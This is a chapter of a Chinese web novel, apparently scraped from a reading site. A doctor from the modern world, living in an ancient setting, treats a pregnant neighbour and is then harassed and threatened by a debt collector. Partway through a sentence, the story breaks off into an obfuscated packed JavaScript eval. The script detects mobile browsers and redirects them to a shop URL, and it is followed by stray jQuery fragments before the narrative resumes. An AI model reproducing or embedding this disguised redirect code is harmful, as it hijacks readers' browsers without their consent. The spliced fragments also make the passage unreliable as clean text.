11. 第十一章

作品:《温柔医娘驯疯侯

    栗岫云第二日去看苗三妹时,她正卧在床上练习腹式呼吸,脸色看起来比昨日好很多了。


    她要起身招呼栗岫云,给拦住了:“你躺好,我帮你看看脉象。”


    指尖搭上手腕,栗岫云仔细的感受,认真回忆医书里所写的脉案。


    微不可察叹了一息。


    她本就不是十分专精中医,把脉更是生疏,虽然确实能感受到细微差异,但距离她理想的诊病状态还有差距。


    若是有现代的B超技术协助就好了。


    “胎动还好吗?”


    苗三妹脸色暗了一下:“就是不太感觉到孩儿在动。”


    “别慌。”栗岫云放软了语气,“怀孕六个月左右,正常胎动一般是一小时三到五次,但也不是绝对的。一来这时候胎动还没个准头,二来有的孩子天生就文静,只要没不舒服的,不用太担心。”


    苗三妹微笑应是。


    栗岫云暖了暖手掌,继续给她按摩,帮她恢复脾胃功能。


    “今日怎没见着你夫君呢?”


    “他去县衙打探应召结果,说是晌午前没回来,就是有了好结果。”苗三妹满脸喜色回道。


    这会早过了晌午,想来是有了好着落。


    栗岫云也替她高兴:“那太好了。”


    苗三妹连连点头,脸上的喜色更浓了:“我家大郎说,新上任的县令家世显赫,出手很大方,若是在跟前得脸,月例银子还能涨呢。”


    栗岫云笑而不语,用帕子擦干净她肚子上的蓖麻油。


    “栗娘子定然是福星转世,一搬到咱家隔壁,我和大郎就好运连连。”


    苗三妹是真心实意的感慨,栗岫云却不敢接话,生怕让她有了太多寄托,将来事事要自己帮忙,也是个麻烦。


    她只是出于医者本心罢了。


    又陪着聊了几句家常,栗岫云回了自己家。


    程青青一早出去买制药的材料,这会儿还没回来。


    栗岫云越想越觉得,光靠把脉判断胎儿情况太不靠谱了。


    要不试试,做个能听到胎心的听诊器?


    这念头一冒出来,她就坐不住了。


    她上学的时候自己做过简易听诊器,可那时候有橡胶软管能用,这古代上哪儿找这东西去?


    听诊器的原理就是靠固体传声,只要有够硬的细管子,应该就能行,细竹管?还是芦苇杆?


    就是不知道上哪儿弄,等程青青回来问问她吧。


    那么现在,先做个听诊头。


    她在收拾出来的烂木头堆里,翻找了半天,找出来几块质素尚可的木块,拿着菜刀尝试着砍了一会,砍废了两块,才勉强整出一块能继续使用的。


    不行,菜刀太大,她的胳膊也不方便,根本做不出她想要的漏斗模样。


    她折腾得满头大汗,盯着那块歪歪扭扭的木头,只能先作罢。


    下午的时候,王育枢乐呵呵地回了家,还赊了一小块猪肉。他手脚麻利地熬了锅猪肉粥,又煮了个鸡蛋,端到苗三妹跟前。


    “今天身子好些没?”


    “好多了。”苗三妹笑着点头,“栗娘子中午还来看过我,又给我按了半天肚子呢。”


    王育枢松了一大口气,满脸庆幸:“真是谢天谢地!要是没遇上她,你还不知道要受多少罪呢。等我领了月钱,头一份就给她送去。”


    苗三妹连连点头,深以为然。


    天快黑的时候,程青青才背着沉甸甸的包袱,风尘仆仆地赶回来。


    别人是货比三家,她是货比所有家,几乎跑遍了县城所有的药铺,哪怕只便宜一分钱,她也觉得值当。


    毕竟最近租房子买家具,又给王育枢付药钱,她本就不富裕的钱袋子,几乎快见了底,再不省俭,吃饭都是问题。


    栗岫云煮了粥,又把二娃送的咸鱼煎了一小块,简单就是一顿晚饭。


    她和程青青说起做听诊器的事。


    虽然程青青并不清楚听诊器做什么用,但既然是栗岫云要的东西,肯定有大用,她便说明儿去卖药的时候,找个木匠铺子打听打听。


    吃完饭,天也黑了。


    这古代灯油贵,如今手头拮据,栗岫云也舍不得浪费,便遵循日出而作日落而息的规矩,早早歇下了。


    第二日天一亮,就和程青青一起赶制膏贴。


    等到忙完去给苗三妹请脉时,正巧碰到从县衙回来的王育枢。


    听他说,县衙今日没有上晚堂,县令体恤没留他当值,念着他家有孕妇,特开恩准他早点回家来。


    栗岫云拂袖搭上手腕。


    外头一声炸雷响:“王育枢!听说你在县衙当差了,既如此,快把钱还上!”


    王育枢闻声脸色煞白,忙起身出去,带上房门,拦在门前。


    “丁二哥,说好明日再来的,刚当差一天,哪有银钱还账啊?再宽限两日罢。”王育枢声音中满是恳切哀求,再是低声下气不过了。


    显然,丁二并不买账:“放你娘的屁!把老子当猴耍呢?”


    “不敢不敢,丁二哥,三娘怀着身子,我又跑不掉,你怕什么?我爹欠的钱,我定如数还上,只求你看在孩子的份上,宽限几日。”


    “那你挡着门做什么?莫不是屋里藏着好东西?”丁二一句问话,吓得王育枢汗水直淌。


    他支支吾吾道:“三娘前日见了血,怕污秽了二哥。”


    话音未落,丁二猛地一脚踹在王育枢胸口,将他蹬得踉跄倒地,随即狠狠推开屋门。


    栗岫云没料到此人蛮横至此,一时僵在原地,倏然抬头,正撞进对方那双贼溜溜的眼睛里。


    丁二也是一怔,目光在栗岫云身上扫视一圈,瞬间亮了。


    他原本凶戾的脸上,又加了层嫉妒的愤怒,揪住冲进来的王育枢的衣襟,眼睛却没从栗岫云脸上挪开。


    他狠啐了一口:“王育枢,你他娘的真有本事啊,还能伺候两个婆娘!”


    王育枢苦笑不得:“丁二哥,这是给三娘安胎的郎中。”


    “郎中?”丁二撒开手,把王育枢推了出去。


    他死死盯着栗岫云,嘴角的哈喇子都要淌到脖子了。


    床上的苗三妹吓得浑身发抖,忙坐起身攥住栗岫云的衣角,栗岫云反手按住她的手。


    “女郎中……”丁二怔怔念叨,目光落在栗岫云的胸前。


    虽然穿着宽松的破旧衣裳,但阅女无数的丁二,一眼就能看出来,这是个极品女人!


    这脸蛋,这身段,卖到花楼里,少说能值他半年花销。


    丁二的目光实在露骨,似乎隔着衣服把栗岫云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946951|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了个精光。


    栗岫云还是读初中时,被校门口的小混混这么看过,此时不仅反胃,也感到阵阵畏惧。


    这可是地痞流氓,莫说这时代,就是现代社会,见到这种人,她也是要退避三舍的。


    若是以前,掏个手机出来报警或是大喊一声,总不至于当街霸道。而眼下,栗岫云真拿不准他会做到什么地步。


    她按下慌乱,冷冷看着这个男人:


    “光天化日,你们强闯民宅,就不怕报官吗?”


    丁二冷嗤一声:“欠债还钱,天经地义,报了官,还指不定谁吃亏呢。”


    这话一落,他瞬间换了一副脸孔,伸手想要摸栗岫云的脸。


    “倒是你,小娘子,做什么郎中,苦哈哈给人看病,不如跟着我,包管你吃香喝辣的……”


    栗岫云侧身一躲,冷声道:“我已经嫁人了!”


    “嫁人更好。”丁二毫不知耻,竟觍着脸□□,“经过人事的女人,更妙。你别看苗三妹怀身大肚,就有人好这口呢。”


    栗岫云当然知道人性之恶,但这样堂而皇之在大庭广众下听见这样的秽语,也不免错愕不已。


    她厉声责问:“你当着人家丈夫说这种话,还有人性吗?她可是个孕妇啊!”


    “丈夫?没本事的男人,只配在阴沟里活着,孕妇更好,生下的孩子还能再卖一笔钱呢。”


    见栗岫云脸色铁青,丁二又放缓语气,假意温柔:“你别怕,我最怜香惜玉,只要你跟了我,绝不让你受半点委屈。”


    “我要是不答应呢?”栗岫云冷眼直视。


    丁二被她冰冷的眼神噎了一下,随即狞笑着逼近一步:“不答应?由得你吗?今天要么你跟我走,要么我把这屋子翻个底朝天,连王育枢带他婆娘一起卖了抵债!”


    “哼!”栗岫云冷喝,“你就不怕我丈夫找你的麻烦。”


    丁二仰天大笑:“你丈夫真有本事的,会让你这么如花似玉的婆娘出来行医?”


    是了,栗岫云怎么忘了,这是个女子只能依附男人而活的时代。


    跟这个腌臜男人多说一句,她都觉着是在浪费口水,打开男人伸来的手,硬声道:


    “你再逼我,我就一头撞死在这里。”


    她目光灼然瞪着男人。


    “我也奉劝你一句,我丈夫虽然没什么本事,但去官府告官,还是做得到的,你为了钱财而来,闹出人命,得不偿失。”


    自古以来,穷不与富斗,富不与官斗,再嚣张的地痞流氓,还是忌惮官府的。


    再者县令上任不久,听说背景强大,他的新官三把火还没烧完,未必会放纵这等人猖狂。


    这番警告果然有用。


    丁二悻悻按下心头的□□,将身一侧,让出道来。


    栗岫云心里虽然打鼓,面上还是从容的,昂了昂头,在一干人注视下,气定神闲走出王家小院。


    至少王育枢还算心细,并没有透露栗岫云是他邻居一事。


    于是栗岫云便直接走出了巷子,随便挑了个方向,一路狂奔找个旮旯藏起来。


    欸……没想到这么快就惹了麻烦。


    王育枢没还清债款,丁二肯定还要登门,隔着一堵院墙,能藏到几时?


    得想个办法把他赶走,才是长久之计。